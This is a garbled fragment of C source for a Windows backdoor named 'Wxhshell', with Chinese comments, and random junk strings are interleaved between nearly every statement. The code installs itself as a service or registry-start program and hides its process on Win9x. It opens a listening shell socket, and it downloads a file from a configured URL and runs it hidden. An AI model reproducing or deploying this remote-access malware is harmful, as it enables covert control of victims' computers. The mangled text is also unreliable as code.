S unsigned long cbNeeded; 0~+*$W B'mUDW8\D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c<lEFk!g _mk@1ft CloseHandle(hProcess); vC^{,?@ a\~118 ! if(strstr(procName,"services")) return 1; // 以服务启动 yye5GVY$ p] N/]2rR return 0; // 注册表启动 FA\U4l- } _>aP5g?Ep ~{);Ab.9+ // 主模块 -E3cS int StartWxhshell(LPSTR lpCmdLine) s|:1z"q { uL@%M8n SOCKET wsl; DF>tQ BOOL val=TRUE; 9ZG:2ncdJ int port=0; lFduX D struct sockaddr_in door; m`n~-_ r&Qa;-4Pl if(wscfg.ws_autoins) Install(); X 5X D1[
H:9G/Nev port=atoi(lpCmdLine); S{v]B_N[M RnU7|p{ if(port<=0) port=wscfg.ws_port; FA;-D5= T$AVMVq WSADATA data; A0RSNAM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FzP1b_i @/ nGc9h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; : 2$*'{mM setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a1Q%Gn@R door.sin_family = AF_INET; l]#=I7 6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); %rgW}Z5 door.sin_port = htons(port); =F Y2O`%a pq\N2d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ASrRMH[ closesocket(wsl); qJf\,7mi return 1; h{H*k#> } -'L~Y~'. ,Vo[mB if(listen(wsl,2) == INVALID_SOCKET) { H3`.Y$z closesocket(wsl); ~'0ZW<X. return 1; )n1[#x^I } !f&hVLs0 Wxhshell(wsl); `u7^r^>A WSACleanup(); RHpjJZUV R*FDg;t4 return 0; C"mWO Y2] lN8l71N^ } 1
?Zw kM1N4N7 // 以NT服务方式启动 Cz$q"U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lfdg5D5.P { ij~- DWORD status = 0; S0gxVd( DWORD specificError = 0xfffffff; h^qZi@L F
u^j- Io serviceStatus.dwServiceType = SERVICE_WIN32; b62B|0i serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ctn?O~u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &l!T2PX! serviceStatus.dwWin32ExitCode = 0; olA+B serviceStatus.dwServiceSpecificExitCode = 0; C^;8M'8z0 serviceStatus.dwCheckPoint = 0; L;y BZLM serviceStatus.dwWaitHint = 0; Ewq@>$_! wHQ$xO;vD' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =au!rda if (hServiceStatusHandle==0) return; 6Z' K1 ?G!~& status = GetLastError(); ?8?vBkz~ if (status!=NO_ERROR) c0rU&+:Ry { ~:U`^wtQ serviceStatus.dwCurrentState = SERVICE_STOPPED; -Ah&|!/ serviceStatus.dwCheckPoint = 0; ?*yB&(a:8 serviceStatus.dwWaitHint = 0; aI;$N|]u serviceStatus.dwWin32ExitCode = status; QtXiUx^ k< serviceStatus.dwServiceSpecificExitCode = specificError; ;m>/tD%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c3ru4o*K return; :g'
'GqGZ } zxIP-QaA Y*p<\{,oC serviceStatus.dwCurrentState = SERVICE_RUNNING; U6*[}Ww serviceStatus.dwCheckPoint = 0; ' (XB|5 serviceStatus.dwWaitHint = 0; *]h"J] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `-{? ! } :dRC$?f4 WiB~sIp // 处理NT服务事件,比如:启动、停止 sQ^t8Y9 VOID WINAPI NTServiceHandler(DWORD fdwControl) s :BW}PM { %G,7Ul1f switch(fdwControl) :) -` { QG~6mvD case SERVICE_CONTROL_STOP: j}s/)}n| serviceStatus.dwWin32ExitCode = 0; .taP2^2Z serviceStatus.dwCurrentState = SERVICE_STOPPED; G!=(^G@J; serviceStatus.dwCheckPoint = 0; s3y GL serviceStatus.dwWaitHint = 0;
Skr0WQ { TU2oQ1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); _KkaseR } z07&P;W!{ return; 9[&ByEAK case SERVICE_CONTROL_PAUSE: vM!2?8bEFd serviceStatus.dwCurrentState = SERVICE_PAUSED; XzX2V">(% break; iWC}\&i case SERVICE_CONTROL_CONTINUE: X am8h serviceStatus.dwCurrentState = SERVICE_RUNNING; `H>&dK|/ break; p8@8b " case SERVICE_CONTROL_INTERROGATE: <uJ
{>~ break; 1cMLl6Bp> }; =EM<LjO SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5@
td0 } :t9![y[=| t']/2m.&p // 标准应用程序主函数 %t!r
pyD int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Fuu V{x| { WAR!#E#J7 $'_Q@ZBq // 获取操作系统版本 xgj'um OsIsNt=GetOsVer(); T+zhj++ GetModuleFileName(NULL,ExeFile,MAX_PATH); TbT/ 5W3 8-7Ml3G* // 从命令行安装 EW vhT]<0 if(strpbrk(lpCmdLine,"iI")) Install(); #a~BigZ[G }cGILH% // 下载执行文件 z;2& d<h if(wscfg.ws_downexe) { ?V+\E2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pY3/AO= WinExec(wscfg.ws_filenam,SW_HIDE); .d[^&<^ } dTCLE t. rr\9HA if(!OsIsNt) { bma.RCyY< // 如果时win9x,隐藏进程并且设置为注册表启动 3+d^Bpp4 HideProc(); P]y{3y:XxM StartWxhshell(lpCmdLine); <YEKbnw$o } DNgh#!\X else AB,(%JT/2{ if(StartFromService()) s-'~t#h // 以服务方式启动 EA1&D^nT StartServiceCtrlDispatcher(DispatchTable); ss }-YnG else 4g2`[< S // 普通方式启动
Rx"+i0 StartWxhshell(lpCmdLine); $6J22m!S4n lxgfi@@+h return 0; ~MC5rOA }
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